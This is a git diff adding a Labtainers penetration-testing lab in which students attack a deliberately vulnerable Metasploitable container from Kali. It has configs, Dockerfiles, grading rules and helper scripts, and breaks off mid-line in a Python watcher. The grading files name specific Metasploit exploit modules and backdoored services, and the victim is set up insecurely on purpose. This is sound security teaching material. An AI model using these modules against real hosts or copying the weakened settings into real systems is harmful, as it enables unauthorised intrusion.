b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/attacker/sys_tar/sys.tar differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/config/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/config/about.txt new file mode 100644 index 000000000..de747a893 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/config/about.txt @@ -0,0 +1 @@ +Use Metasploit on a Kali Linux system to attack a vulnerable host. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/config/bigfiles.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/config/bigfiles.txt new file mode 100644 index 000000000..a3949ff8c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/config/bigfiles.txt @@ -0,0 +1 @@ +kali-db.tar attacker/sys_tar/sys.tar diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/config/parameter.config new file mode 100644 index 000000000..b0413ad5f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/config/parameter.config @@ -0,0 +1,7 @@ +# parameter.config +# +# Please see labdesigner.pdf + +# The following are meant for metasploit lab +FSTRING : HASH_REPLACE : victim:/root/filetoview.txt : ROOT_STRING : myrootfilestirng + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/config/start.config new file mode 100644 index 000000000..59db3a7c2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/config/start.config @@ -0,0 +1,54 @@ +# Filename : start.config +# Description: +# Establish the names of lab containers and some of their properties, including: +# User names +# Network connections +# trasfer directory +# lab master seed +# +# Typically, labs consisting of a single container can use the file without modification. +# Refer to the "Labtainer Lab Designer User Guide" for details. + +GLOBAL_SETTINGS + # GRADE_CONTAINER - container where instructor will perform grading + # Change the default to the name of one of your containers, otherwise + # a container will be picked for you. + GRADE_CONTAINER attacker + + # HOST_HOME_XFER - directory to transfer artifact to/from containers, relative to the user's HOME + HOST_HOME_XFER seed_dir/ + + # LAB_MASTER_SEED - this is the master seed string specific to this laboratory + LAB_MASTER_SEED attacker_mike_master_seed + + # Uncomment the following to cause the content of the lab/docs directory + # to be collected and included in the student artifacts. + # COLLECT_DOCS YES + +# SUBNETS. Here is where you define subnets that will be available to the containers. +# Each subnet is assiged a name, a mask and gateway, as in the following example: +# +NETWORK LAN + MASK 192.168.1.0/24 + GATEWAY 192.168.1.1 + IP_RANGE 192.168.1.0/24 +# +# Container name and settings. Here is where you define each container in terms of its name, +# user, number of virtual terminals, and its network connections, as in the following example: +# +CONTAINER attacker + # user name of user who interacts with the container. + USER ubuntu + TERMINALS 1 + SCRIPT NONE + LAN 192.168.1.3 + #X11 YES + + +CONTAINER victim + # user name of user who interacts with the container. + USER ubuntu + TERMINALS 0 + SCRIPT NONE + #NO_PRIVILEGE YES + LAN 192.168.1.2 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/dockerfiles/Dockerfile.metasploit.attacker.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/dockerfiles/Dockerfile.metasploit.attacker.student new file mode 100644 index 000000000..a97d04faa --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/dockerfiles/Dockerfile.metasploit.attacker.student @@ -0,0 +1,79 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.kali +#FROM $registry/labtainer.centos +#FROM $registry/labtainer.lamp +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +# +# Install the system files found in the _system directory +# +#ENV APT_SOURCE $apt_source +#RUN /usr/bin/apt-source.sh + +# +# put package installation here +# +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel +RUN mkdir /root/Desktop +RUN ln -s /home/$user_name/attacks /root/Desktop/attacks + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +#ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +RUN systemctl enable mynotify +RUN systemctl enable rc-local +RUN systemctl enable postgresql +CMD ["/sbin/init"] +# replace below with four above for centos +# +# DO NOT add below this line. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/dockerfiles/Dockerfile.metasploit.victim.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/dockerfiles/Dockerfile.metasploit.victim.student new file mode 100644 index 000000000..e68d1d52b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/dockerfiles/Dockerfile.metasploit.victim.student @@ -0,0 +1,68 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.metasploitable +#FROM $registry/labtainer.network +#FROM $registry/labtainer.centos +#FROM $registry/labtainer.lamp +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +# +# put package installation here +# +# +# Install the system files found in the _system directory +# +#ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + +RUN gpasswd -a postgres ssl-cert +RUN chown -R root:ssl-cert /etc/ssl/private +RUN chmod -R g+r /etc/ssl/private + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +#ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME + +USER root +#RUN systemctl enable mynotify +CMD ["/sbin/init.real"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/docs/Makefile new file mode 100644 index 000000000..47af386af --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/docs/Makefile @@ -0,0 +1,6 @@ +metaspolit.pdf: metasploit.docx + soffice --convert-to pdf metasploit.docx --headless + +clean: + rm -fr auto + rm -f *.pdf diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/docs/metasploit.docx b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/docs/metasploit.docx new file mode 100644 index 000000000..2d5c5dea0 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/docs/metasploit.docx differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/docs/read_first.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/docs/read_first.txt new file mode 100644 index 000000000..7bfe88d98 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/docs/read_first.txt @@ -0,0 +1,7 @@ +The lab manual is at + file://LAB_DOCS/metasploit.pdf + + +You may the manual by right clicking +and select "Open Link". + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/instr_config/goals.config new file mode 100644 index 000000000..3fac5ced8 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/instr_config/goals.config @@ -0,0 +1,80 @@ +# goals.config +# +# Please see the Labtainer Lab Designer User Guide + +# Penetrate Test - Vulnerably configured rlogin service (port 513) +# Ran nmap and confirm rlogin (port 513) is open +_rlogin = matchany : string_equal : rlogin_open : answer=open +# Used rlogin to view the root file +_rloginview = matchany : string_equal : rloginfileview : parameter.FSTRING +# GROUP: Ran nmap and used rlogin to achieve root privilege and view root file +rlogin_ok = time_before : _rlogin : _rloginview + +# Penetrate Test - Vulnerable ingreslock service (port 1524) +# Ran nmap and confirm ingreslock (port 1524) is open +_ingreslock = matchany : string_equal : ingreslock_open : answer=open +# Used telnet to view the root file +_ingreslockview = matchany : string_equal : ingreslockfileview : parameter.FSTRING +# GROUP: Ran nmap and used telnet (to ingreslock service) to achieve root privilege and view root file +ingreslock_ok = time_before : _ingreslock : _ingreslockview + +# Penetrate Test - Vulnerable distccd service (port 3632) +# Ran nmap and confirm distccd (port 3632) is open +_distccd = matchany : string_equal : distccd_open : answer=open +# Used msfconsole to view the root file +_distccdview = matchany : string_equal : distccdfileview : parameter.FSTRING +# Using exploit exploit/unix/misc/distcc_exec +_nmapdistccd_ok = time_before : _distccd : _distccdview +# GROUP: Ran nmap and used msfconsole (use distccd exploit) to achieve root privilege and view root file +distccd_ok = time_before : _distccdview : _distccd_exploit + +# Penetrate Test - Vulnerable IRC daemon (port 6667) +# Ran nmap and confirm irc (port 6667) is open +_irc = matchany : string_equal : irc_open : answer=open +# Used msfconsole to view the root file +_ircview = matchany : string_equal : ircfileview : parameter.FSTRING +# Using exploit exploit/unix/irc/unreal_ircd_3281_backdoor +_nmapirc_ok = time_before : _irc : _ircview +# GROUP: Ran nmap and used msfconsole (use ircd exploit) to achieve root privilege and view root file +irc_ok = time_before : _ircview : _irc_exploit + +# Penetrate Test - Vulnerable VSFtpd service (port 21) +# Ran nmap and confirm vsftpd (port 21) is open +_vsftpd = matchany : string_equal : vsftpd_open : answer=open +# Used msfconsole to view the root file +_vsftpdview = matchany : string_equal : vsftpdfileview : parameter.FSTRING +# Using exploit exploit/unix/ftp/vsftpd_234_backdoor +_nmapvsftpd_ok = time_before : _vsftpd : _vsftpdview +# GROUP: Ran nmap and used msfconsole (use vsftpd exploit) to achieve root privilege and view root file +vsftpd_ok = time_before : _vsftpdview : _vsftpd_exploit + +# Penetrate Test - Vulnerable Samba service (port 139) +# Ran nmap and confirm samba (port 139) is open +_samba = matchany : string_equal : samba_open : answer=open +# Used msfconsole to view the root file +_sambaview = matchany : string_equal : sambafileview : parameter.FSTRING +# Using exploit exploit/multi/samba/usermap_script +_nmapsamba_ok = time_before : _samba : _sambaview +# GROUP: Ran nmap and used msfconsole (use samba exploit) to achieve root privilege and view root file +samba_ok = time_before : _sambaview : _samba_exploit + +# Penetrate Test - Vulnerable HTTP (php) service (port 80) +# Ran nmap and confirm HTTP (php) (port 80) is open +_httpphp = matchany : string_equal : httpphp_open : answer=open +# Used msfconsole to view the root file +_httpphpview = matchany : string_equal : httpphpfileview : parameter.FSTRING +# Using exploit exploit/multi/http/php_cgi_arg_injection +_nmaphttpphp_ok = time_before : _httpphp : _httpphpview +# GROUP: Ran nmap and used msfconsole (use HTTP PHP exploit) to achieve root privilege and view root file +httpphp_ok = time_before : _httpphpview : _httpphp_exploit + +# Penetrate Test - Vulnerable PostGres service (port 5432) +# Ran nmap and confirm Postgres (port 5432) is open +_postgres = matchany : string_equal : postgres_open : answer=open +# Used msfconsole to view the root file +_postgresview = matchany : string_equal : postgresfileview : parameter.FSTRING +# Using exploit exploit/linux/postgres/postgres_payload +_nmappostgres_ok = time_before : _postgres : _postgresview +# GROUP: Ran nmap and used msfconsole (use Postgres exploit) to achieve root privilege and view root file +postgres_ok = time_before : _postgresview : _postgres_exploit + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/instr_config/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/instr_config/instructions.txt new file mode 100644 index 000000000..667cd20ad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/instr_config/instructions.txt @@ -0,0 +1 @@ +Lab-specific instructor notes. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/instr_config/pregrade.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/instr_config/pregrade.sh new file mode 100755 index 000000000..2d6b93ed2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/instr_config/pregrade.sh @@ -0,0 +1,40 @@ +#!/bin/bash +: <<'END' +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +END +# +# Script to run prior to grading a student's lab. It is intended +# for two potential purposes: +# 1) Create solution artifacts to campare against student artifacts; +# 2) Process student artifacts into a different form, e.g., extracting +# browser sqlite data as in the default instance of this file below. +# +# +# +homedir=$1 +# destdir includes the container +destdir=$2 +dbg=/tmp/pregrade.log +cd $homedir/$destdir +is_sqlite=`which sqlite3` +echo $is_sqlite +here=`pwd` +places=$here/.mozilla/firefox/*default/places.sqlite +for fname in $(ls $places 2> /dev/null); do + if [[ -f $fname ]]; then + outpath=$here/.local/result + outfile=$outpath/moz_places.txt + mkdir -p "$outpath" + sqlite3 "$fname" "SELECT moz_places.* FROM moz_places;" >"$outfile" + fi +done + +# +# Add other processing below. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/instr_config/results.config new file mode 100644 index 000000000..3ca0cf561 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/instr_config/results.config @@ -0,0 +1,64 @@ +# results.config +# +# Please see the Labtainer Lab Designer User Guide + +# Penetrate Test - Vulnerably configured rlogin service (port 513) +# Ran 'nmap' and confirm rlogin (port 513) +rlogin_open = attacker:nmap.stdout : 2 : STARTSWITH : 513/tcp +# using rlogin and view /root/filetoview.txt +rloginfileview = attacker:rlogin.stdout : 4 : STARTSWITH : My string is: + +# Penetrate Test - Vulnerable ingreslock service (port 1524) +# Ran 'nmap' and confirm ingreslock (port 1524) +ingreslock_open = attacker:nmap.stdout : 2 : STARTSWITH : 1524/tcp +# using telnet and view /root/filetoview.txt +ingreslockfileview = attacker:telnet.stdout : 4 : STARTSWITH : My string is: + +# Penetrate Test - Vulnerable distccd service (port 3632) +# Ran 'nmap' and confirm distccd (port 3632) +distccd_open = attacker:nmap.stdout : 2 : STARTSWITH : 3632/tcp +# using exploit/unix/misc/distcc_exec +_distccd_exploit = attacker:msfconsole.stdout : CONTAINS : distcc_exec +# using msfconsole and view /root/filetoview.txt +distccdfileview = attacker:msfconsole.stdout : 4 : STARTSWITH : My string is: + +# Penetrate Test - Vulnerable IRC daemon (port 6667) +# Ran 'nmap' and confirm irc (port 6667) +irc_open = attacker:nmap.stdout : 2 : STARTSWITH : 6667/tcp +# using exploit/unix/irc/unreal_ircd_3281_backdoor +_irc_exploit = attacker:msfconsole.stdout : CONTAINS : unreal_ircd_3281_backdoor +# using msfconsole and view /root/filetoview.txt +ircfileview = attacker:msfconsole.stdout : 4 : STARTSWITH : My string is: + +# Penetrate Test - Vulnerable VSFtpd service (port 21) +# Ran 'nmap' and confirm VSFtpd (port 21) +vsftpd_open = attacker:nmap.stdout : 2 : STARTSWITH : 21/tcp +# using exploit/unix/ftp/vsftpd_234_backdoor +_vsftpd_exploit = attacker:msfconsole.stdout : CONTAINS : vsftpd_234_backdoor +# using msfconsole and view /root/filetoview.txt +vsftpdfileview = attacker:msfconsole.stdout : 4 : STARTSWITH : My string is: + +# Penetrate Test - Vulnerable Samba service (port 139) +# Ran 'nmap' and confirm Samba (port 139) +samba_open = attacker:nmap.stdout : 2 : STARTSWITH : 139/tcp +# using exploit/multi/samba/usermap_script +_samba_exploit = attacker:msfconsole.stdout : CONTAINS : usermap_script +# using msfconsole and view /root/filetoview.txt +sambafileview = attacker:msfconsole.stdout : 4 : STARTSWITH : My string is: + +# Penetrate Test - Vulnerable HTTP (php) service (port 80) +# Ran 'nmap' and confirm HTTP (php) (port 80) +httpphp_open = attacker:nmap.stdout : 2 : STARTSWITH : 80/tcp +# using exploit/multi/http/php_cgi_arg_injection +_httpphp_exploit = attacker:msfconsole.stdout : CONTAINS : php_cgi_arg_injection +# using msfconsole and view /root/filetoview.txt +httpphpfileview = attacker:msfconsole.stdout : 4 : STARTSWITH : My string is: + +# Penetrate Test - Vulnerable PostGres service (port 5432) +# Ran 'nmap' and confirm Postgres (port 5432) +postgres_open = attacker:nmap.stdout : 2 : STARTSWITH : 5432/tcp +# using exploit/linux/postgres/postgres_payload +_postgres_exploit = attacker:msfconsole.stdout : CONTAINS : postgres_payload +# using msfconsole and view /root/filetoview.txt +postgresfileview = attacker:msfconsole.stdout : 4 : STARTSWITH : My string is: + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/victim/_bin/checklocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/victim/_bin/checklocal.sh new file mode 100755 index 000000000..d0d9ee14f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/victim/_bin/checklocal.sh @@ -0,0 +1,3 @@ +#!/bin/bash +# +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/victim/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/victim/_bin/fixlocal.sh new file mode 100755 index 000000000..73ad3555e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/victim/_bin/fixlocal.sh @@ -0,0 +1,10 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +sudo chmod 666 /dev/null diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/victim/_bin/notify b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/victim/_bin/notify new file mode 100644 index 000000000..25514e250 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/victim/_bin/notify @@ -0,0 +1 @@ +/root/filetoview.txt ACCESS precheck diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/victim/_bin/notify_cb.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/victim/_bin/notify_cb.sh new file mode 100644 index 000000000..af2ce67c5 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/victim/_bin/notify_cb.sh @@ -0,0 +1,15 @@ +#!/bin/bash +# +# inotify callback +# +the_path=$1 +the_mode=$2 +the_user=$3 +the_cmd=$4 +if [[ $the_mode == CREATE ]]; then + # due to file creation show diretory acl + getfacl -d $the_path +else + # file access, show file acl + getfacl $the_path +fi diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/victim/_bin/precheck.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/victim/_bin/precheck.sh new file mode 100755 index 000000000..d0d9ee14f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/victim/_bin/precheck.sh @@ -0,0 +1,3 @@ +#!/bin/bash +# +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/victim/_bin/student_startup.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/victim/_bin/student_startup.sh new file mode 100644 index 000000000..fc8b857e0 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/victim/_bin/student_startup.sh @@ -0,0 +1,15 @@ +#!/bin/bash +# +# If root, loop forever in login. +# +#id | grep root >>/dev/null +#result=$? +#if [[ $result -eq 0 ]]; then +# #echo "is root" +# rm -f /var/run/nologin +# while [ 1 ]; do +# trap login SIGINT +# /bin/login +# done +#fi + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/victim/_system/etc/init.d/mynotify.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/victim/_system/etc/init.d/mynotify.sh new file mode 100755 index 000000000..68725641c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/victim/_system/etc/init.d/mynotify.sh @@ -0,0 +1,63 @@ +#!/bin/sh + +### BEGIN INIT INFO +# Provides: mynotify +# Required-Start: $syslog +# Required-Stop: $syslog +# Default-Start: 2 3 4 5 +# Default-Stop: 0 1 6 +# Short-Description: Put a short description of the service here +# Description: Put a long description of the service here +### END INIT INFO + +# Change the next 3 lines to suit where you install your script and what you want to call it +DIR=/sbin +DAEMON=$DIR/mynotify.py +DAEMON_NAME=mynotify + +# Add any command line options for your daemon here +DAEMON_OPTS="" + +# This next line determines what user the script runs as. +DAEMON_USER=root + +# The process ID of the script when it runs is stored here: +PIDFILE=/var/run/$DAEMON_NAME.pid + +. /lib/lsb/init-functions + +do_start () { + log_daemon_msg "Starting system $DAEMON_NAME daemon" + start-stop-daemon --start --background --pidfile $PIDFILE --make-pidfile -d $DIR --user $DAEMON_USER --chuid $DAEMON_USER --startas $DAEMON -- $DAEMON_OPTS + log_end_msg $? +} +do_stop () { + log_daemon_msg "Stopping system $DAEMON_NAME daemon" + start-stop-daemon --stop --pidfile $PIDFILE --retry 10 + log_end_msg $? +} + +sleep 10 + +case "$1" in + + start|stop) + do_${1} + ;; + + restart|reload|force-reload) + do_stop + do_start + ;; + + status) + status_of_proc "$DAEMON_NAME" "$DAEMON" && exit 0 || exit $? + ;; + + *) + echo "Usage: /etc/init.d/$DAEMON_NAME {start|stop|restart|status}" + exit 1 + ;; + +esac +exit 0 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/victim/_system/etc/network/interfaces b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/victim/_system/etc/network/interfaces new file mode 100644 index 000000000..532a25be3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/victim/_system/etc/network/interfaces @@ -0,0 +1,10 @@ +# This file describes the network interfaces available on your system +# and how to activate them. For more information, see interfaces(5). + +# The loopback network interface +auto lo +iface lo inet loopback + +# The primary network interface +auto eth0 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/victim/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/victim/_system/etc/rc.local new file mode 100755 index 000000000..d2f33d8db --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/victim/_system/etc/rc.local @@ -0,0 +1,21 @@ +#!/bin/sh -e +# +# rc.local +# +# This script is executed at the end of each multiuser runlevel. +# Make sure that the script will "exit 0" on success or any other +# value on error. +# +# In order to enable or disable this script just change the execution +# bits. +# +# By default this script does nothing. + + +nohup /usr/bin/rmiregistry >/dev/null 2>&1 & +nohup /usr/bin/unrealircd & +rm -f /root/.vnc/*.pid +HOME=/root LOGNAME=root USER=root nohup /usr/bin/vncserver :0 >/root/vnc.log 2>&1 & +nohup /usr/sbin/druby_timeserver.rb & + +exit 0 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/victim/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/victim/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/victim/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/victim/_system/etc/systemd/system/mynotify.service b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/victim/_system/etc/systemd/system/mynotify.service new file mode 100644 index 000000000..7d3e027fc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/victim/_system/etc/systemd/system/mynotify.service @@ -0,0 +1,8 @@ +[Unit] +Description=mynotify + +[Service] +ExecStart=/sbin/mynotify.py + +[Install] +WantedBy=multi-user.target diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/victim/_system/root/filetoview.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/victim/_system/root/filetoview.txt new file mode 100644 index 000000000..b4508bd1e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/victim/_system/root/filetoview.txt @@ -0,0 +1,7 @@ +# Filename: filetoview.txt +# +# Description: This is a pre-created file for each student (victim) container + +# This file is modified when container is created +# The string below will be replaced with a keyed hash +My string is: ROOT_STRING diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/victim/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/victim/_system/sbin/faux_init new file mode 100755 index 000000000..2cab71b1c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/victim/_system/sbin/faux_init @@ -0,0 +1,18 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start +/etc/init.d/mynotify.sh start + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/victim/_system/sbin/mynotify.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/victim/_system/sbin/mynotify.py new file mode 100755 index 000000000..ca28ef444 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/metasploit/victim/_system/sbin/mynotify.py @@ -0,0 +1,89 @@ +#!/usr/bin/env python +import os +import time +import logging +from inotify_simple import INotify, flags +logger = logging.getLogger('mynotify') +hdlr = logging.FileHandler('/tmp/mynotify.log') +formatter = logging.Formatter('%(asctime)s %(levelname)s %(message)s') +hdlr.setFormatter(formatter) +logger.addHandler(hdlr) +logger.setLevel(logging.DEBUG) + + +class WatchType(): + def __init__(self, path, flag): + self.path = path + self.flag = flag + +def showMask(mask): + if mask & flags.CREATE: + print('CREATE') + if mask & flags.ACCESS: + print('ACCESS') + + +def get_flag(flag): + if flag == 'CREATE': + return flags.CREATE + elif flag == 'ACCESS': + return flags.ACCESS + elif flag == 'MODIFY': + return flags.MODIFY + else: + return None + +def get_first_user(): + with open('/etc/passwd') as fh: + for line in fh: + parts = line.strip().split(':') + if parts[2] == '1000': + return parts[0] + return None + +logger.debug('Start mynotify') +watches = {} + +inotify = INotify() +first_user = get_first_user() +logger.debug('first user is %s' % first_user) +notify_file = '/home/%s/.local/bin/notify' % first_user +checklocal = '/home/%s/.local/bin/checklocal.sh' % first_user +results = '/home/%s/.local/result' % first_user +if not os.path.isfile(notify_file) or not os.path.isfile(checklocal): + logger.debug('missing checklocal %s or notify %s' % (checklocal, notify_file)) + exit(0) +with open(notify_file) as fh: + for line in fh: + if not line.strip().startswith('#'): + parts = line.strip().split() + watch = WatchType(parts[0], parts[1]) + flag = get_flag(watch.flag) + try: + wd = inotify.add_watch(watch.path, flag) + watches[wd] = watch + except: + logger.debug('could not add watch for %s %s' % (watch.path, watch.flag)) +while True: + for event in inotify.read(): + #print(event) + #showMask(event.mask) + watch = watches[event.wd] + logger.debug('path: %s flag: %s' % (watch.path, watch.flag)) + now = time.time() + ts = time.strftime('%Y%m%d%H%M%S', time.localtime(now)) + checklocaloutfile = os.path.join(results, 'checklocal.stdout.%s' % ts ) + checklocalinfile = os.path.join(results, 'checklocal.stdin.%s' % ts) + if not os.path.isfile(checklocaloutfile): + ''' no file, if from previous second, use that as hack to merge with output from command ''' + now = now -1 + ts = time.strftime('%Y%m%d%H%M%S', time.localtime(now)) + tmpfile = os.path.join(results, 'checklocal.stdout.%s' % ts ) + if os.path.isfile(tmpfile): + checklocaloutfile = os.path.join(results, 'checklocal.stdout.%s' % ts ) + checklocalinfile = os.path.join(results, 'checklocal.stdin.%s' % ts) + + cmd = '%s %s %s >> %s 2>/dev/null' % (checklocal, watch.path, watch.flag, 